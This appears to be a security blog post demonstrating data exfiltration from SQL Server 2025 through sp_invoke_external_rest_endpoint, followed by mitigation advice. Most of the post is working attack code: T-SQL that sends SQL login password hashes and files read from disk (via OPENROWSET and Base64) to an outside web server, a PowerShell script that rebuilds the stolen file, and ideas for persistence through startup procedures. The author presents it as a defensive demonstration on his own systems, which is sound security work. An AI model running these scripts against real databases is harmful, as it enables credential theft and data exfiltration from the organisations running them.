Exfiltrate data from SQL Server 2025 with sp_invoke_external_rest_endpoint

In this post I cover how an attacker can take advantage of SQL Server 2025’s sp_invoke_external_rest_endpoint to exfiltrate data from a compromised instance.

In my previous post I used sp_invoke_external_rest_endpoint to get some data about internet-exposed SQL Server instances.
While doing that, I realized that, similarly to xp_cmdshell, SQL Server 2025’s sp_invoke_external_rest_endpoint can be used by an attacker to exfiltrate data from SQL Server.

What is sp_invoke_external_rest_endpoint?
Why is it a good candidate for data exfiltration?
Requirements
Enabling external rest endpoint
Disclaimer
Basic data exfiltration via sp_invoke_external_rest_endpoint’s @url parameter
More complex data exfiltration via sp_invoke_external_rest_endpoint’s @payload parameter
- The logic
- The actual demo
Exfiltrate files using SQL Server and sp_invoke_external_rest_endpoint
- Basic text file
- Non-text files
What about larger files?
But wait! There’s more.
Mitigation
Conclusion

What is sp_invoke_external_rest_endpoint?

In short, sp_invoke_external_rest_endpoint has been introduced in SQL Server 2025.
It allows users/developers to interact with HTTPS REST API endpoints from within SQL Server itself.

Why is it a good candidate for data exfiltration?

sp_invoke_external_rest_endpoint can both receive and send data to/from entities outside of SQL Server which is already a good starting point.
But it does have some additional features that make it a perfect tool for this:

It can handle up to 100MB of UTF-8 encoded data through its @payload parameter.
The payload can contain pretty much anything as long as it’s valid JSON.
Don’t have a REST API endpoint at your disposal?
No problem. If you have a basic web server and can read the access log, you can use the @url parameter’s generous 8KB (aka NVARCHAR(4000)) worth of wiggle room.
It doesn’t trigger the same alarms as xp_cmdshell.
Many shops that use xp_cmdshell have locked it down properly for safe usage and audit its usage heavily, but sp_invoke_external_rest_endpoint is still under most people’s radar.

That last point is the exact reason why folks need to start paying attention to sp_invoke_external_rest_endpoint.
But what better way to prove why it can be dangerous if not treated properly than by showing you?

Requirements

In order to be able to use the sp_invoke_external_rest_endpoint stored procedure, the following requirements must be met:

The “external rest endpoint enabled” instance level configuration needs to be enabled (set to 1).
This enables or disables invocations of external REST endpoints.
The login executing sp_invoke_external_rest_endpoint must be granted the EXECUTE ANY EXTERNAL ENDPOINT permission.
And, obviously, the same login needs read permission on the table(s) it wants to exfiltrate the data from.
The target web server/API endpoint needs to have valid certificate with a verifiable chain.

Enabling external rest endpoint

I’m doing this on a SQL Server 2025 container running on my QNAP NAS.

First, I need to enable the external rest endpoint configuration option.

USE [master];
GO
EXEC sp_configure 'external rest endpoint enabled', 1;
GO
RECONFIGURE;
GO

USE [master];

EXEC sp_configure 'external rest endpoint enabled', 1;

RECONFIGURE;

Disclaimer

Before proceeding, note that both the SQL Server instance and the remote web server are owned or paid for by me.
If you want to follow along with the demos, make sure you do so against infrastructure that you own or have permission to do stuff to.
Do not go poking around at other people’s infrastructure without explicit (ideally written) permission.

Basic data exfiltration via sp_invoke_external_rest_endpoint’s `@url` parameter

This is the simplest version, it doesn’t need handling result sets as JSON or even a REST API endpoint.
All you need is a web server with a valid certificate and some creative T-SQL.

For the demo, I’ll just use my blog’s host as the remote server and a method similar to the one used in my post about securing SQL Server’s service account.

DECLARE @payload   NVARCHAR(400),
        @base_url  NVARCHAR(100) = N'https://vladdba.com/this-is-a-404/',
        @final_url NVARCHAR(600),
        @response  NVARCHAR(MAX);
DECLARE get_logins CURSOR LOCAL STATIC READ_ONLY FORWARD_ONLY FOR
  /*Get login name and password hash*/
  SELECT DISTINCT [name] + N'/'
                  + CONVERT(NVARCHAR(256), [password_hash], 1)
  FROM   sys.[sql_logins]
  WHERE  [name] NOT LIKE N'##%';

/*They see me loopin', they hatin'*/
OPEN get_logins;
FETCH NEXT FROM get_logins INTO @payload;
WHILE @@FETCH_STATUS = 0
  BEGIN
      /*add the login and hash pair to the url*/
      SET @final_url = @base_url + @payload;
      /*send to web-server*/
      EXEC sys.sp_invoke_external_rest_endpoint
        @url      = @final_url,
        @method   = N'GET',
        @response = @response OUTPUT;
      
      /*optional, check the result, but it will be a 404*/
      SELECT JSON_VALUE(@response, '$.response.status.http.code') AS [status_code],
             @final_url                                           AS [url];
      /*add a delay because I don't feel like triggering cloudflare and/or wordfence*/
      WAITFOR DELAY N'00:00:05';

      FETCH NEXT FROM get_logins INTO @payload;
  END;
CLOSE get_logins;
DEALLOCATE get_logins;

DECLARE @payload NVARCHAR(400),

@base_url NVARCHAR(100) = N'https://vladdba.com/this-is-a-404/',

@final_url NVARCHAR(600),

@response NVARCHAR(MAX);

DECLARE get_logins CURSOR LOCAL STATIC READ_ONLY FORWARD_ONLY FOR

/*Get login name and password hash*/

SELECT DISTINCT [name] + N'/'

+ CONVERT(NVARCHAR(256), [password_hash], 1)

FROM sys.[sql_logins]

WHERE [name] NOT LIKE N'##%';

/*They see me loopin', they hatin'*/

OPEN get_logins;

FETCH NEXT FROM get_logins INTO @payload;

WHILE @@FETCH_STATUS = 0

BEGIN

/*add the login and hash pair to the url*/

SET @final_url = @base_url + @payload;

/*send to web-server*/

EXEC sys.sp_invoke_external_rest_endpoint

@url = @final_url,

@method = N'GET',

@response = @response OUTPUT;

/*optional, check the result, but it will be a 404*/

SELECT JSON_VALUE(@response, '$.response.status.http.code') AS [status_code],

@final_url AS [url];

/*add a delay because I don't feel like triggering cloudflare and/or wordfence*/

WAITFOR DELAY N'00:00:05';

FETCH NEXT FROM get_logins INTO @payload;

END;

CLOSE get_logins;

DEALLOCATE get_logins;

The above T-SQL loops through every SQL login in sys.sql_logins and:

Joins the login name with the string representation of the password hash with a \ between them.
Appends the string from step 2 to a URL that doesn’t exist on my blog.
Uses sp_invoke_external_rest_endpoint to call the resulting URL with a GET request
Returns the status code and result (just for demo purposes).

Here’s an example of how one of those URLs looks like:

https://vladdba.com/this-is-a-404/test_impersonate_any/0x030075EE80E6[redacted]4468B1EF003

This is the output in SSMS:

And then I refresh my web server’s access log and filter for “this-is-a-404”:

With this, an attacker can then use the same methods shown in my post about cracking SQL Server 2025 login hashes offline to potentially find a password for one of the more privileged logins on the instance.

What about more complex methods?

More complex data exfiltration via sp_invoke_external_rest_endpoint’s `@payload` parameter

This one does require a REST API endpoint and some additional setup on my web server side.

The following three steps are all on the WordPress side:

First, I create a low-privilege WordPress user account that only has the Subscriber role.
Then, I temporarily enable Application Passwords.
I don’t ever use WP App Passwords so I generally keep them disabled.
Finally, I create a WP App Password for the low-privilege user.

The logic

What I want to do is leverage WordPress’s REST API and, using the low-privilege user’s WP App Password, create comments on one of my posts with data exfiltrated from SQL Server.

Since WP has fairly generous comment space (way more than what the @url parameter can handle) I can easily use the @payload parameter.
Maybe not up to its full limit, but enough to not have to use a cursor for 6 logins.

The actual demo

DECLARE @payload         NVARCHAR(MAX),
        @data_to_exfil   NVARCHAR(MAX),
        @wp_creds        VARCHAR(128) = 'mssql:WPAppPassGoesHere',
        @wp_creds_base64 NVARCHAR(128),
        @header          NVARCHAR(400),
        @response        NVARCHAR(MAX);

/*Base64-encode the WP user and app password*/
SELECT @wp_creds_base64 = BASE64_ENCODE(CAST (@wp_creds AS VARBINARY(128)));

/*Build the request header */
SELECT @header = N'{"Authorization": "Basic '+ @wp_creds_base64 +N'", "Content-Type": "application/json" }';

/*Convert SQL logins result to JSON*/
SELECT @data_to_exfil = (
    SELECT 
        [name],
        CONVERT(NVARCHAR(256), password_hash, 1) AS password_hash
    FROM sys.sql_logins
    WHERE [name] NOT LIKE N'##%'
    FOR JSON PATH
);

/*Build payload with the information required by the WP REST API
  post id, comment author name and email, and comment content */
SELECT @payload = JSON_MODIFY(
    N'{
        "post": 7738,
        "author_name": "mssql",
        "author_email": "totallylegituser@vladdba.com",
        "content": ""
    }',
    '$.content',
    @data_to_exfil
);

/*Send the POST request to create a comment with the payload*/
EXEC sys.sp_invoke_external_rest_endpoint
    @url       = N'https://vladdba.com/wp-json/wp/v2/comments',
    @method    = N'POST',
    @headers   = @header,
    @payload   = @payload,
    @response   = @response OUTPUT;

/*Check the response*/
SELECT JSON_VALUE(@response, '$.response.status.http.code') AS [status_code],
       @response;

DECLARE @payload NVARCHAR(MAX),

@data_to_exfil NVARCHAR(MAX),

@wp_creds VARCHAR(128) = 'mssql:WPAppPassGoesHere',

@wp_creds_base64 NVARCHAR(128),

@header NVARCHAR(400),

@response NVARCHAR(MAX);

/*Base64-encode the WP user and app password*/

SELECT @wp_creds_base64 = BASE64_ENCODE(CAST (@wp_creds AS VARBINARY(128)));

/*Build the request header */

SELECT @header = N'{"Authorization": "Basic '+ @wp_creds_base64 +N'", "Content-Type": "application/json" }';

/*Convert SQL logins result to JSON*/

SELECT @data_to_exfil = (

SELECT

[name],

CONVERT(NVARCHAR(256), password_hash, 1) AS password_hash

FROM sys.sql_logins

WHERE [name] NOT LIKE N'##%'

FOR JSON PATH

);

/*Build payload with the information required by the WP REST API

post id, comment author name and email, and comment content */

SELECT @payload = JSON_MODIFY(

N'{

"post": 7738,

"author_name": "mssql",

"author_email": "[email protected]",

"content": ""

}',

'$.content',

@data_to_exfil

);

/*Send the POST request to create a comment with the payload*/

EXEC sys.sp_invoke_external_rest_endpoint

@url = N'https://vladdba.com/wp-json/wp/v2/comments',

@method = N'POST',

@headers = @header,

@payload = @payload,

@response = @response OUTPUT;

/*Check the response*/

SELECT JSON_VALUE(@response, '$.response.status.http.code') AS [status_code],

@response;

Here’s what the above T-SQL does:

Base64-encodes* the WordPress credentials (username:app_password) for the Basic Auth header.
The encoding is done with SQL Server 2025’s shiny and new Base64-encoding function: BASE64_ENCODE
Builds the request headers as a JSON object with the Authorization and Content-Type fields.
Queries sys.sql_logins and converts the results to JSON using FOR JSON PATH, storing the output in a variable.
Uses JSON_MODIFY to inject the JSON login data into the content field of a WordPress comment payload.
This handles string escaping automatically, so login names with special characters don’t break the JSON.
Sends a POST request to the WordPress REST API comments endpoint with the assembled payload.
Returns the HTTP status code from the response (201 means the comment was created successfully).

The result in SSMS is a 201 status code (again, optional).

SSMS result showing the status code and JSON response

And when I check on my blog, the comment got sent to spam, but I’m not picky.

Note the body of the comment containing the login names and their respective password hashes in JSON format.

This is neat, but maybe it’s time to level up.

Exfiltrate files using SQL Server and sp_invoke_external_rest_endpoint

Things get a lot more interesting once you realize that you can throw OPENROWSET into the mix to read files from disk and pass them to the payload parameter.

Here you’re limited by the level of access the SQL Server service account has.

Basic text file

For this I created a .txt file in the directory that’s mapped to container’s file system and to which the SQL Server instance on the container has access.

And, from SSMS, I execute the following T-SQL:

DECLARE @file_text       NVARCHAR(MAX),
        @wp_creds        VARCHAR(128) = 'mssql:WPAppPassGoesHere',
        @wp_creds_base64 NVARCHAR(128),
        @payload         NVARCHAR(MAX),
        @header          NVARCHAR(400),
        @response        NVARCHAR(MAX);

/*Base64-encode the WP user and app password*/
SELECT @wp_creds_base64 = BASE64_ENCODE(CAST (@wp_creds AS VARBINARY(128)));

/*Build the request header */
SELECT @header = N'{"Authorization": "Basic '+ @wp_creds_base64 +N'", "Content-Type": "application/json" }';

/*Read file from disk*/
SELECT @file_text = BulkColumn 
FROM OPENROWSET(BULK '/var/opt/mssql/my-backups/test_text_file_exfil.txt', SINGLE_CLOB) AS x; 


/*Build payload with the information required by the WP REST API
  post id, comment author name and email, and comment content */
SELECT @payload = JSON_MODIFY(
    N'{
        "post": 7738,
        "author_name": "mssql",
        "author_email": "totallylegituser@vladdba.com",
        "content": ""
    }',
    '$.content',
    @file_text
);

/*Post the comment*/
EXEC sys.sp_invoke_external_rest_endpoint
    @url     = N'https://vladdba.com/wp-json/wp/v2/comments',
    @method  = N'POST',
    @headers = @header,
    @payload = @payload,
    @response   = @response OUTPUT;

DECLARE @file_text NVARCHAR(MAX),

@wp_creds VARCHAR(128) = 'mssql:WPAppPassGoesHere',

@wp_creds_base64 NVARCHAR(128),

@payload NVARCHAR(MAX),

@header NVARCHAR(400),

@response NVARCHAR(MAX);

/*Base64-encode the WP user and app password*/

SELECT @wp_creds_base64 = BASE64_ENCODE(CAST (@wp_creds AS VARBINARY(128)));

/*Build the request header */

SELECT @header = N'{"Authorization": "Basic '+ @wp_creds_base64 +N'", "Content-Type": "application/json" }';

/*Read file from disk*/

SELECT @file_text = BulkColumn

FROM OPENROWSET(BULK '/var/opt/mssql/my-backups/test_text_file_exfil.txt', SINGLE_CLOB) AS x;

/*Build payload with the information required by the WP REST API

post id, comment author name and email, and comment content */

SELECT @payload = JSON_MODIFY(

N'{

"post": 7738,

"author_name": "mssql",

"author_email": "[email protected]",

"content": ""

}',

'$.content',

@file_text

);

/*Post the comment*/

EXEC sys.sp_invoke_external_rest_endpoint

@url = N'https://vladdba.com/wp-json/wp/v2/comments',

@method = N'POST',

@headers = @header,

@payload = @payload,

@response = @response OUTPUT;

The steps are similar to the previous demo, but with one difference:

Instead of querying a system view, it reads a text file from disk using OPENROWSET(BULK..., SINGLE_CLOB).
This returns the file contents as a single large text value.
The file contents are injected into the comment payload via JSON_MODIFY, same as before.
The POST request sends the file contents as a WordPress comment.

Checking the comments, it landed in spam again, but it does contain the exact contents of the text file.

Screenshot of the comment with the content of the text file exfiltrated from sql server 2025 via sp_invoke_external_rest_endpoint

Pretty neat so far, but what if we want other types of files?

Non-text files

Here’s where VARBINARY and Base64 encoding come into play.

Using my pretty much non-existing graphic design skills, I made the following PNG file.

A white background with black text saying This is just a PNG

And I save it in the same location as the previous test file.

With the PNG file in place, I run the following T-SQL:

DECLARE @file_data       VARBINARY(MAX),
        @b64_string      NVARCHAR(MAX),
        @payload         NVARCHAR(MAX),
        @wp_creds        VARCHAR(128) = 'mssql:WPAppPassGoesHere',
        @wp_creds_base64 NVARCHAR(128),
        @header          NVARCHAR(400),
        @response        NVARCHAR(MAX);

/*Base64-encode the WP user and app password*/
SELECT @wp_creds_base64 = BASE64_ENCODE(CAST (@wp_creds AS VARBINARY(128)));

/*Build the request header */
SELECT @header = N'{"Authorization": "Basic '+ @wp_creds_base64 +N'", "Content-Type": "application/json" }';

/*Read file from disk*/
SELECT @file_data = BulkColumn 
FROM OPENROWSET(BULK '/var/opt/mssql/my-backups/test_file_exfil_orig.png', SINGLE_BLOB) AS x; 

/*Convert VARBINARY to BASE64 string*/
SELECT @b64_string = CAST(BASE64_ENCODE(@file_data) AS NVARCHAR(MAX));
/*Returning the Base64-encoded content just to check against the comment content*/
SELECT @b64_string

/*Build payload with the information required by the WP REST API
  post id, comment author name and email, and comment content */
SELECT @payload = JSON_MODIFY(
    N'{
        "post": 7738,
        "author_name": "mssql",
        "author_email": "totallylegituser@vladdba.com",
        "content": ""
    }',
    '$.content',
    @b64_string
);

EXEC sys.sp_invoke_external_rest_endpoint
    @url     = N'https://vladdba.com/wp-json/wp/v2/comments',
    @method  = N'POST',
    @headers = @header,
    @payload = @payload,
    @response   = @response OUTPUT;

DECLARE @file_data VARBINARY(MAX),

@b64_string NVARCHAR(MAX),

@payload NVARCHAR(MAX),

@wp_creds VARCHAR(128) = 'mssql:WPAppPassGoesHere',

@wp_creds_base64 NVARCHAR(128),

@header NVARCHAR(400),

@response NVARCHAR(MAX);

/*Base64-encode the WP user and app password*/

SELECT @wp_creds_base64 = BASE64_ENCODE(CAST (@wp_creds AS VARBINARY(128)));

/*Build the request header */

SELECT @header = N'{"Authorization": "Basic '+ @wp_creds_base64 +N'", "Content-Type": "application/json" }';

/*Read file from disk*/

SELECT @file_data = BulkColumn

FROM OPENROWSET(BULK '/var/opt/mssql/my-backups/test_file_exfil_orig.png', SINGLE_BLOB) AS x;

/*Convert VARBINARY to BASE64 string*/

SELECT @b64_string = CAST(BASE64_ENCODE(@file_data) AS NVARCHAR(MAX));

/*Returning the Base64-encoded content just to check against the comment content*/

SELECT @b64_string

/*Build payload with the information required by the WP REST API

post id, comment author name and email, and comment content */

SELECT @payload = JSON_MODIFY(

N'{

"post": 7738,

"author_name": "mssql",

"author_email": "[email protected]",

"content": ""

}',

'$.content',

@b64_string

);

EXEC sys.sp_invoke_external_rest_endpoint

@url = N'https://vladdba.com/wp-json/wp/v2/comments',

@method = N'POST',

@headers = @header,

@payload = @payload,

@response = @response OUTPUT;

The only output I get this time is the contents of the @b64_string parameter, because I want to check it against the body of the resulting comment.

SSMS result set showing a part of the Base64-encoded string

For reference, the start and end of the Base64-encoded string look like this:
iVBORw0KGgoAAAANSUh............YAAAAASUVORK5CYII=

Checking again my blog’s spam comments I can see the Base64-encoded bites of the image exfiltrated from SQL Server using sp_invoke_external_rest_endpoint.

WP spam comment showing the comment with the base64 string exfiltrated from sql server with sp_invoke_external_rest_endpoint

Now for the moment of truth, can I reconstruct the image?

For this I had to temporarily bump up the permissions of my test WP user so that it’s able to view spam comments.
After that I can run the following PowerShell code:

#Nothing up my sleeve 
gci C:\Temp

#Creds (same creds as in the T-SQL exfiltration)
$creds = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes("mssql:WpAppPassGoesHere"))
$headers = @{ "Authorization" = "Basic $creds" }

#Fetch the spam comment by ID
$commentId = 9652
$url = "https://vladdba.com/wp-json/wp/v2/comments/$commentId`?context=edit"

$response = Invoke-RestMethod -Uri $url -Method Get -Headers $headers

#Get content from the raw field (without any html stuff)
$base64String = $response.content.raw.Trim()

#Decode to bytes
$bytes = [System.Convert]::FromBase64String($base64String)

#Write to file
[System.IO.File]::WriteAllBytes("C:\Temp\exfiltrated_image.png", $bytes)

#Check again
gci C:\Temp\

#Nothing up my sleeve

gci C:\Temp

#Creds (same creds as in the T-SQL exfiltration)

$creds = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes("mssql:WpAppPassGoesHere"))

$headers = @{ "Authorization" = "Basic $creds" }

#Fetch the spam comment by ID

$commentId = 9652

$url = "https://vladdba.com/wp-json/wp/v2/comments/$commentId`?context=edit"

$response = Invoke-RestMethod -Uri $url -Method Get -Headers $headers

#Get content from the raw field (without any html stuff)

$base64String = $response.content.raw.Trim()

#Decode to bytes

$bytes = [System.Convert]::FromBase64String($base64String)

#Write to file

[System.IO.File]::WriteAllBytes("C:\Temp\exfiltrated_image.png", $bytes)

#Check again

gci C:\Temp\

Windows Terminal window with the above PS code and showing the resulting file in the C:\temp directory

So far, so good. The ultimate test is checking if the hash of the reconstructed file matches the hash of the original.

#Compare hashes 
$originalHash = Get-FileHash -Path "\\NAS1\Container\container-stuff\test_file_exfil_orig.png"
$reconstructedHash = Get-FileHash -Path "C:\Temp\exfiltrated_image.png"
if ($originalHash.Hash -eq $reconstructedHash.Hash) {
    Write-Host "SUCCESS: Hashes match." -Fore Green
} else {
    Write-Host "WARNING: Hashes do not match." -Fore Red
}

#Compare hashes

$originalHash = Get-FileHash -Path "\\NAS1\Container\container-stuff\test_file_exfil_orig.png"

$reconstructedHash = Get-FileHash -Path "C:\Temp\exfiltrated_image.png"

if ($originalHash.Hash -eq $reconstructedHash.Hash) {

Write-Host "SUCCESS: Hashes match." -Fore Green

} else {

Write-Host "WARNING: Hashes do not match." -Fore Red

}

Windows Terminal showing the result of the above PS code and the hashes matching

And we have a match.
The full attack chain was verified end-to-end. The SHA256 hash of the exfiltrated file matched the hash of the reconstructed file perfectly.
No xp_cmdshell, no external tools, just T-SQL and HTTPS.

Plus the image renders perfectly and I’m uploading it here too.

I’d say this counts as another example of successful data exfiltration via sp_invoke_external_rest_endpoint.

What about larger files?

The technique is the same, all that’s needed is some extra T-SQL work to handle splitting the contents of the @b64_string parameter into more manageable chunks.
In this case they’ll need to be small enough to not hit the 100MB size limit of the @payload parameter when combined with the rest of the payload data.
But they also have to be small enough to not hit any WP comment or other REST API endpoint size limits.
So, whichever is the smallest size, that’s the one you’ll have to work it.

But wait! There’s more.

If you get really creative with something like SQL Server’s startup stored procedures you could potentially have a stored procedure that executes at startup, loops every x seconds/minutes/hours and does a bunch of things with sp_invoke_external_rest_endpoint and the response it might get.

Just off the top of my head some example would be:

Have it send any new SQL login that gets created.
Or have it send any new database backup files.
Issue a GET request for a specific page periodically, and, when that request returns a 200 code, then do something else.
Either create a login or other database objects with the information provided as part of the response.
And even have a TRY CATCH block that re-enables the “external rest endpoint enabled” server option if it was disabled at some point and caused sp_invoke_external_rest_endpoint to error out.

Given that startup stored procedures run under the sa login, there are a lot of possibilities here.

This means that, with the right permissions and some creative T-SQL, you only need access to the instance once and any subsequent change can be pushed through the endpoint that you have control over.

Mitigation

Disable it if you don’t use it

This is just common sense, don’t enable features you’re not planning on using.
And, if you did enable it just to test something, disable it when done.

USE [master];
GO
EXEC sp_configure 'external rest endpoint enabled', 0;
GO
RECONFIGURE;
GO

USE [master];

EXEC sp_configure 'external rest endpoint enabled', 0;

RECONFIGURE;

Follow the principle of least privilege

Modifying instance level configuration requires membership in either sysadmin or serveradmin fixed server roles, or the ALTER SETTINGS permission.
Executing sp_invoke_external_rest_endpoint requires the EXECUTE ANY EXTERNAL ENDPOINT permission.

So, don’t add every login to high privilege roles, and don’t grant them permissions they don’t absolutely require.
And, if you have logins that need to be able to execute sp_invoke_external_rest_endpoint, make sure they also don’t have permission to re-enable the “external rest endpoint enabled” server option if you ever have to disable it as part of an emergency response.

Make sure the SQL Server service account doesn’t have elevated privileges.

Network segmentation and firewall rules

Ideally, the SQL Server host won’t have access to the “outside world” and should only be able to interact with REST API endpoints that are in the same network.

If you REALLY NEED to use external endpoints, restrict outbound traffic from the SQL Server host using firewall rules.
Add only known endpoints to the allow list.
Just be aware that you’re making an assumption here about that external endpoint never being compromised and your data always being safe at the receiving end of your REST API call.

Monitor and audit

If you don’t have “external rest endpoint enabled” enabled and will never need to enable it, then ensure you monitor for configuration changes and get alerted if this gets enabled.

If you do need to work with REST API endpoints from SQL Server, set up SQL Server Audit for executions of sp_invoke_external_rest_endpoint the same way you (hopefully) do for xp_cmdshell.

Audit and monitor for OPENROWSET usage, especially when it’s targeting unexpected locations.

Periodically review logins and their permissions.

Monitor for all egress traffic from your SQL Server host and alert for anything that doesn’t match your expected/known baseline.

The upcoming release of PSBlitz will also include additional sp_invoke_external_rest_endpoint related security checks.

Conclusion

SQL Server 2025’s sp_invoke_external_rest_endpoint was designed for developer convenience, but it also creates a direct exfiltration channel between SQL Server and the outside world.
Like xp_cmdshell before it, this procedure deserves the same level of scrutiny and hardening.

I hope the demos in this post showed how easy it can be to exfiltrate data, including files, from SQL Server using sp_invoke_external_rest_endpoint.

Cookie	Duration	Description
cookielawinfo-checbox-analytics	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".
cookielawinfo-checbox-functional	11 months	The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".
cookielawinfo-checbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.
cookielawinfo-checkbox-necessary	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".
cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".
viewed_cookie_policy	11 months	The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.

Exfiltrate data from SQL Server 2025 with sp_invoke_external_rest_endpoint

Table of contents

What is sp_invoke_external_rest_endpoint?

Why is it a good candidate for data exfiltration?

Requirements

Enabling external rest endpoint

Disclaimer

Basic data exfiltration via sp_invoke_external_rest_endpoint’s @url parameter

More complex data exfiltration via sp_invoke_external_rest_endpoint’s @payload parameter

The logic

The actual demo

Exfiltrate files using SQL Server and sp_invoke_external_rest_endpoint

Basic text file

Non-text files

What about larger files?

But wait! There’s more.

Mitigation

Disable it if you don’t use it

Follow the principle of least privilege

Network segmentation and firewall rules

Monitor and audit

Conclusion

Querying Shodan with SQL Server’s sp_invoke_external_rest_endpoint

Setting up an Azure SQL DB container in Podman

You may also like

Leave a Comment Cancel Reply

Basic data exfiltration via sp_invoke_external_rest_endpoint’s `@url` parameter

More complex data exfiltration via sp_invoke_external_rest_endpoint’s `@payload` parameter